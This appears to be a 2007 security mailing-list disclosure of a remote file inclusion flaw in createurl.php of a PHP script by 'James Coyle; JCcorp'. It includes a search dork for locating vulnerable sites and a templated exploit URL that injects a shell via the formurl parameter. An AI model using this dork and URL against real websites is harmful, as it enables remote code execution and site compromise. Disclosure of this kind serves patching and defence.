Related information

Daily web applications security vulnerabilities summary (PHP, ASP, JSP, CGI, Perl)

Remote File Include In Script Coppermine Photo Gallery

Lazarus Guestbook (admin. php)Remote File Include Expliot

dynaliens v2.0/v2.1 bypass admin authentification + XSS

xss in phpmyadmin >=2.8.0 and < 2.10.0

From:	RaeD Hasadya <raed_(at)_bsdmail.com>
Date:	09.03.2007
Subject:	Remote File Include In Script copyright (c) James Coyle; JCcorp

By Hasadya Raed
Contact : RaeD@BsdMail.Com
------------------------------------

Script : copyright (c) James Coyle; JCcorp
Expl : Remote Include File
Dork : "copyright © James Coyle; JCcorp"

------------------------------------
B.File : createurl.php
------------------------------------
Exploit :
http://www.Victim.com/Path_Script/createurl.php?formurl=[Shell-Attack]


By Hasadya Raed


--
_______________________________________________
Get your free email from http://bsdmail.com